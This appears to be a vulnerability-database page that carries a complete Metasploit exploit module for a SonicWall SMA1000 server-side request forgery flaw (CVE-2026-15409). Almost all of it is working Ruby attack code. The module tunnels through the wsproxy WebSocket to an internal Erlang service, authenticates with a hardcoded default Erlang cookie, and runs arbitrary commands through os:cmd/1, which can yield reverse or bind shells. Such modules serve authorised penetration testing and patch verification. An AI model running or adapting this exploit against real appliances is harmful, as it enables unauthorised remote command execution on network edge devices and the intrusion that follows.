Lucene search
+L

SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution

🗓️ 14 Jul 2026 00:00:00Reported by Ryan Emmons, Deral Heiland, Rapid7 Vulnerability ResearchType 
metasploit
 metasploit
🔗 www.rapid7.com👁 7 Views

SonicWall SMA1000 wsproxy SSRF enables Erlang RPC command execution on the SMA service.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'
require 'digest'
require 'securerandom'
require 'timeout'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  ETF_VERSION = 131
  SMALL_INTEGER_EXT = 97
  INTEGER_EXT = 98
  ATOM_EXT = 100
  REFERENCE_EXT = 101
  PID_EXT = 103
  SMALL_TUPLE_EXT = 104
  NIL_EXT = 106
  STRING_EXT = 107
  LIST_EXT = 108
  BINARY_EXT = 109
  ATOM_UTF8_EXT = 118
  SMALL_ATOM_UTF8_EXT = 119
  NEW_PID_EXT = 88
  NEWER_REFERENCE_EXT = 90

  DFLAG_EXTENDED_REFERENCES = 0x00000004
  DFLAG_FUN_TAGS = 0x00000010
  DFLAG_NEW_FUN_TAGS = 0x00000080
  DFLAG_EXTENDED_PIDS_PORTS = 0x00000100
  DFLAG_EXPORT_PTR_TAG = 0x00000200
  DFLAG_BIT_BINARIES = 0x00000400
  DFLAG_NEW_FLOATS = 0x00000800
  DFLAG_UTF8_ATOMS = 0x00010000
  DFLAG_MAP_TAG = 0x00020000
  DFLAG_BIG_CREATION = 0x00040000
  DFLAG_HANDSHAKE_23 = 0x01000000

  DIST_FLAGS = DFLAG_EXTENDED_REFERENCES |
               DFLAG_FUN_TAGS |
               DFLAG_NEW_FUN_TAGS |
               DFLAG_EXTENDED_PIDS_PORTS |
               DFLAG_EXPORT_PTR_TAG |
               DFLAG_BIT_BINARIES |
               DFLAG_NEW_FLOATS |
               DFLAG_UTF8_ATOMS |
               DFLAG_MAP_TAG |
               DFLAG_BIG_CREATION |
               DFLAG_HANDSHAKE_23

  SmaReadyFrame = "\x0b\x00\x00\x00\x00".b

  Pid = Struct.new(:node, :ident, :serial, :creation)
  Reference = Struct.new(:node, :ident, :creation)

  # Adapts the SMA Connect Agent WebSocket protocol to the socket-like
  # sendall/recv interface required by the Erlang distribution implementation.
  #
  # WebSocket framing and connection handling are provided by Rex. This adapter
  # handles SMA-specific Base64 encoding, the initial ready frame, and buffering
  # for exact-length Erlang reads.
  class SmaErlangWebSocketAdapter
    def initialize(wsock, read_timeout, verbose_proc = nil)
      @wsock = wsock
      @read_timeout = read_timeout
      @verbose_proc = verbose_proc
      @recv_buffer = ''.b
      consume_ready_frame
    end

    def sendall(data)
      # The SMA Connect Agent protocol sends base64 data in WebSocket text frames.
      @wsock.put_wstext(Base64.strict_encode64(data))
    end

    def recv(size)
      while @recv_buffer.bytesize < size
        message = read_message
        break if message.nil?

        @recv_buffer << message
      end

      result = @recv_buffer.byteslice(0, size) || ''.b
      @recv_buffer = @recv_buffer.byteslice(size..) || ''.b
      result
    end

    def close
      @wsock.wsclose
    rescue StandardError
      nil
    end

    private

    def consume_ready_frame
      message = read_message(timeout: 1, allow_timeout: true)
      return if message.nil?

      if message == MetasploitModule::SmaReadyFrame
        @verbose_proc&.call('Received SMA ready frame')
      else
        @recv_buffer << message
      end
    end

    def read_message(timeout: @read_timeout, allow_timeout: false)
      result = catch(:sma_websocket_message) do
        Timeout.timeout(timeout) do
          # Rex wsloop handles WebSocket fragmentation, masking, ping/pong, and
          # close frames. Throwing from the callback returns one complete message
          # without allowing wsloop to close the still-active WebSocket.
          @wsock.wsloop do |data, _data_type|
            throw :sma_websocket_message, data.to_s.b
          end
        end

        nil
      end

      result
    rescue Timeout::Error
      return nil if allow_timeout

      raise Rex::TimeoutError, 'Timed out waiting for WebSocket data'
    end
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution',
        'Description' => %q{
          This module exploits a Server-Side Request Forgery (SSRF)
          vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to
          access the internal Erlang distribution service.

          After authenticating using the known Erlang distribution cookie, the
          module invokes os:cmd/1 through Erlang RPC to execute arbitrary Unix
          commands in the context of the vulnerable SMA service.

          The check method performs a benign Erlang node RPC rather than
          executing an operating system command.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ryan Emmons', # Original Python PoC research and development
          'Deral Heiland', # Metasploit module testing and development
          'Rapid7 Vulnerability Research'
        ],
        'References' => [
          ['CVE', '2026-15409'],
          ['URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008'],
          ['URL', 'https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/']
        ],
        'DisclosureDate' => '2026-07-14',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'FETCH_WRITABLE_DIR' => '/tmp',
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'SMA WorkPlace base path', '/']),
        OptString.new('WSHOST', [true, 'Internal host supplied to wsproxy', '0.0.0.0']),
        OptPort.new('WSPORT', [true, 'Internal Erlang distribution service port', 1050]),
        OptString.new('BMID', [true, 'Bookmark identifier beginning with -3389', '-3389c1b25ccd']),
        OptString.new('SERVICE_TYPE', [true, 'wsproxy service type', 'SSH']),
        OptString.new('ORIGIN', [false, 'WebSocket Origin header; generated automatically when empty', '']),
        OptString.new('WS_USER_AGENT', [true, 'WebSocket User-Agent header', 'SMA Connect Agent']),
        OptString.new('ERLANG_COOKIE', [true, 'Erlang distribution cookie', '10ecad5b446e86864832904cd439b6b70262']),
        OptString.new('NODE_NAME', [false, 'Erlang client node name; generated automatically when empty', '']),
        OptInt.new('WS_READ_TIMEOUT', [true, 'Seconds to wait for WebSocket protocol data', 10])
      ]
    )
  end

  def websocket_uri
    query = "bmID=#{Rex::Text.uri_encode(datastore['BMID'])}" \
            "&serviceType=#{Rex::Text.uri_encode(datastore['SERVICE_TYPE'])}" \
            "&host=#{Rex::Text.uri_encode(datastore['WSHOST'])}" \
            "&port=#{datastore['WSPORT']}"

    "#{normalize_uri(target_uri.path, 'wsproxy')}?#{query}"
  end

  def websocket_origin
    return datastore['ORIGIN'] unless datastore['ORIGIN'].blank?

    scheme = ssl ? 'https' : 'http'
    default_port = ssl ? 443 : 80
    authority = vhost
    authority = "#{authority}:#{rport}" unless rport == default_port
    "#{scheme}://#{authority}"
  end

  def erlang_node_name
    return datastore['NODE_NAME'] unless datastore['NODE_NAME'].blank?

    "#{Rex::Text.rand_text_numeric(6)}@127.0.0.1"
  end

  def connect_sma_websocket
    vprint_status("Connecting to #{websocket_uri}")
    vprint_status("Origin: #{websocket_origin}")
    vprint_status("Internal destination: #{datastore['WSHOST']}:#{datastore['WSPORT']}")

    wsock = connect_ws(
      'method' => 'GET',
      'uri' => websocket_uri,
      'headers' => {
        'Origin' => websocket_origin,
        'User-Agent' => datastore['WS_USER_AGENT'],
        'Sec-WebSocket-Protocol' => 'binary'
      }
    )

    vprint_good('WebSocket upgrade succeeded')
    SmaErlangWebSocketAdapter.new(wsock, datastore['WS_READ_TIMEOUT'], proc { |message| vprint_status(message) })
  end

  def recv_exact(sock, size)
    buffer = ''.b
    while buffer.bytesize < size
      chunk = sock.recv(size - buffer.bytesize)
      raise EOFError, 'Peer closed the connection' if chunk.nil? || chunk.empty?

      buffer << chunk
    end
    buffer
  end

  def send_handshake_packet(sock, payload)
    sock.sendall([payload.bytesize].pack('n') + payload)
  end

  def recv_handshake_packet(sock)
    size = recv_exact(sock, 2).unpack1('n')
    recv_exact(sock, size)
  end

  def send_dist_packet(sock, payload)
    sock.sendall([payload.bytesize].pack('N') + payload)
  end

  def recv_dist_packet(sock)
    size = recv_exact(sock, 4).unpack1('N')
    return ''.b if size.zero?

    recv_exact(sock, size)
  end

  def erlang_digest(cookie, challenge)
    Digest::MD5.digest("#{cookie}#{challenge}")
  end

  def parse_challenge(payload)
    case payload.byteslice(0, 1)
    when 'N'
      raise ArgumentError, 'Short new-style Erlang challenge packet' if payload.bytesize < 19

      flags, challenge, creation, name_length = payload.byteslice(1, 18).unpack('Q>NNn')
      name = payload.byteslice(19, name_length).to_s
      [flags, challenge, creation, name]
    when 'n'
      raise ArgumentError, 'Short old-style Erlang challenge packet' if payload.bytesize < 11

      _version, flags, challenge = payload.byteslice(1, 10).unpack('nNN')
      name = payload.byteslice(11..).to_s
      [flags, challenge, 0, name]
    else
      raise ArgumentError, "Unexpected Erlang challenge tag: #{payload.byteslice(0, 1).inspect}"
    end
  end

  def etf_atom(value)
    data = value.to_s.b
    if data.bytesize <= 255
      [SMALL_ATOM_UTF8_EXT, data.bytesize].pack('CC') + data
    else
      [ATOM_UTF8_EXT, data.bytesize].pack('Cn') + data
    end
  end

  def etf_small_int(value)
    raise ArgumentError, 'Small integer is outside the range 0..255' unless value.between?(0, 255)

    [SMALL_INTEGER_EXT, value].pack('CC')
  end

  def etf_string(value)
    data = value.to_s.b
    raise ArgumentError, 'ETF STRING_EXT exceeds 65535 bytes' if data.bytesize > 65_535

    [STRING_EXT, data.bytesize].pack('Cn') + data
  end

  def etf_nil
    [NIL_EXT].pack('C')
  end

  def etf_tuple(*items)
    raise ArgumentError, 'Tuple arity exceeds SMALL_TUPLE_EXT capacity' if items.length > 255

    [SMALL_TUPLE_EXT, items.length].pack('CC') + items.join
  end

  def etf_list(items)
    [LIST_EXT, items.length].pack('CN') + items.join + etf_nil
  end

  def etf_pid(pid)
    [PID_EXT].pack('C') + etf_atom(pid.node) + [pid.ident, pid.serial, pid.creation].pack('NNC')
  end

  def decode_etf(data, offset = 0)
    raise ArgumentError, 'Unexpected end of ETF data' if offset >= data.bytesize

    tag = data.getbyte(offset)
    offset += 1
    return decode_etf(data, offset) if tag == ETF_VERSION

    case tag
    when SMALL_INTEGER_EXT
      [data.getbyte(offset), offset + 1]
    when INTEGER_EXT
      [data.byteslice(offset, 4).unpack1('l>'), offset + 4]
    when ATOM_EXT, ATOM_UTF8_EXT
      length = data.byteslice(offset, 2).unpack1('n')
      offset += 2
      [data.byteslice(offset, length).to_s, offset + length]
    when SMALL_ATOM_UTF8_EXT
      length = data.getbyte(offset)
      offset += 1
      [data.byteslice(offset, length).to_s, offset + length]
    when STRING_EXT
      length = data.byteslice(offset, 2).unpack1('n')
      offset += 2
      [data.byteslice(offset, length).to_s, offset + length]
    when BINARY_EXT
      length = data.byteslice(offset, 4).unpack1('N')
      offset += 4
      [data.byteslice(offset, length).to_s.b, offset + length]
    when NIL_EXT
      [[], offset]
    when SMALL_TUPLE_EXT
      arity = data.getbyte(offset)
      offset += 1
      values = []
      arity.times do
        value, offset = decode_etf(data, offset)
        values << value
      end
      [values.freeze, offset]
    when LIST_EXT
      length = data.byteslice(offset, 4).unpack1('N')
      offset += 4
      values = []
      length.times do
        value, offset = decode_etf(data, offset)
        values << value
      end
      tail, offset = decode_etf(data, offset)
      values << [:tail, tail] unless tail == []
      [values, offset]
    when PID_EXT
      node, offset = decode_etf(data, offset)
      ident, serial = data.byteslice(offset, 8).unpack('NN')
      offset += 8
      creation = data.getbyte(offset)
      [Pid.new(node, ident, serial, creation), offset + 1]
    when NEW_PID_EXT
      node, offset = decode_etf(data, offset)
      ident, serial, creation = data.byteslice(offset, 12).unpack('NNN')
      [Pid.new(node, ident, serial, creation), offset + 12]
    when REFERENCE_EXT
      node, offset = decode_etf(data, offset)
      ident = data.byteslice(offset, 4).unpack1('N')
      offset += 4
      creation = data.getbyte(offset)
      [Reference.new(node, ident, creation), offset + 1]
    when NEWER_REFERENCE_EXT
      length = data.byteslice(offset, 2).unpack1('n')
      offset += 2
      node, offset = decode_etf(data, offset)
      creation = data.byteslice(offset, 4).unpack1('N')
      offset += 4
      identifiers = []
      length.times do
        identifiers << data.byteslice(offset, 4).unpack1('N')
        offset += 4
      end
      [[:reference, node, creation, identifiers], offset]
    else
      raise ArgumentError, "Unsupported ETF tag #{tag} at offset #{offset - 1}"
    end
  end

  def rpc_call(sock, node_name, erlang_module, function, arguments)
    sender_pid = Pid.new(node_name, 1, 0, 0)
    request = etf_tuple(
      etf_pid(sender_pid),
      etf_tuple(
        etf_atom('call'),
        etf_atom(erlang_module),
        etf_atom(function),
        etf_list(arguments),
        etf_atom('user')
      )
    )
    control = etf_tuple(
      etf_small_int(6),
      etf_pid(sender_pid),
      etf_atom('nocookie'),
      etf_atom('rex')
    )

    send_dist_packet(sock, [112, ETF_VERSION].pack('CC') + control + [ETF_VERSION].pack('C') + request)

    loop do
      packet = recv_dist_packet(sock)
      next if packet.empty?
      raise "Unexpected distribution packet type #{packet.getbyte(0)}" unless packet.getbyte(0) == 112

      control_term, offset = decode_etf(packet, 1)
      message_term, = decode_etf(packet, offset)

      next unless control_term.is_a?(Array) && control_term[0] == 2
      next unless message_term.is_a?(Array) && message_term.length == 2 && message_term[0] == 'rex'

      return message_term[1]
    end
  end

  def erlang_connect_and_rpc(erlang_module, function, arguments)
    sock = connect_sma_websocket
    node_name = erlang_node_name
    node_name_data = node_name.b

    vprint_status("Using Erlang node name #{node_name}")
    name_packet = 'N'.b + [DIST_FLAGS, 0, node_name_data.bytesize].pack('Q>Nn') + node_name_data
    send_handshake_packet(sock, name_packet)

    status = recv_handshake_packet(sock)
    raise "Unexpected Erlang status packet: #{status.inspect}" unless status.start_with?('s')

    status_text = status.byteslice(1..).to_s
    vprint_status("Erlang distribution status: #{status_text}")
    raise "Erlang connection rejected: #{status_text}" unless %w[ok ok_simultaneous].include?(status_text)

    challenge_packet = recv_handshake_packet(sock)
    peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(challenge_packet)
    vprint_good("Reached Erlang node #{peer_name}")
    vprint_status(format('Peer flags: 0x%x', peer_flags))
    vprint_status("Peer creation: #{peer_creation}")

    my_challenge = SecureRandom.random_number(0x1_0000_0000)
    reply = 'r'.b + [my_challenge].pack('N') + erlang_digest(datastore['ERLANG_COOKIE'], peer_challenge)
    send_handshake_packet(sock, reply)

    acknowledgement = recv_handshake_packet(sock)
    raise "Unexpected Erlang acknowledgement: #{acknowledgement.inspect}" unless acknowledgement.start_with?('a')
    raise 'Erlang cookie authentication failed' unless acknowledgement.byteslice(1..) == erlang_digest(datastore['ERLANG_COOKIE'], my_challenge)

    vprint_good('Erlang cookie authentication succeeded')
    result = rpc_call(sock, node_name, erlang_module, function, arguments)
    [result, peer_name]
  ensure
    sock&.close
  end

  def format_term(value)
    case value
    when String
      value
    when Array
      "{#{value.map { |item| format_term(item) }.join(', ')}}"
    when Pid
      "#Pid<#{value.node}.#{value.ident}.#{value.serial}>"
    when Reference
      "#Ref<#{value.node}.#{value.ident}>"
    else
      value.to_s
    end
  end

  def check
    result, peer_name = erlang_connect_and_rpc('erlang', 'node', [])
    node_result = format_term(result)
    return CheckCode::Unknown('The Erlang RPC completed but returned an empty node name') if node_result.blank?

    CheckCode::Appears("Authenticated to internal Erlang node #{peer_name}; erlang:node/0 returned #{node_result}")
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    details = e.http_response ? "HTTP #{e.http_response.code}" : e.message
    CheckCode::Safe("The wsproxy WebSocket upgrade was rejected: #{details}")
  rescue Rex::ConnectionError, Rex::TimeoutError, EOFError => e
    CheckCode::Unknown("Connection failed while testing the internal Erlang service: #{e.message}")
  rescue RuntimeError, ArgumentError => e
    if e.message.include?('cookie authentication failed')
      CheckCode::Appears("The internal Erlang service was reached, but the configured cookie was rejected: #{e.message}")
    else
      CheckCode::Unknown("The internal protocol returned an unexpected result: #{e.message}")
    end
  end

  def execute_command(command, _opts = {})
    print_status("Executing command through Erlang os:cmd/1: #{command}")
    result, peer_name = erlang_connect_and_rpc('os', 'cmd', [etf_string(command)])
    output = format_term(result)
    print_good("RPC completed through #{peer_name}")
    print_line(output) unless output.blank?
    output
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
  rescue Rex::ConnectionError, EOFError => e
    fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
  rescue RuntimeError, ArgumentError => e
    fail_with(Failure::UnexpectedReply, e.message)
  end

  def exploit
    execute_command(payload.encoded)
  rescue Rex::TimeoutError => e
    # A reverse or bind command shell can keep Erlang os:cmd/1 blocked even
    # after Metasploit has successfully registered the new session. Only
    # suppress the transport timeout when the framework confirms a session.
    raise e unless session_created?

    print_good('Session created; ignoring the expected Erlang RPC/WebSocket timeout from the still-running command shell.')
    vprint_status("WebSocket timeout after session creation: #{e.message}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
7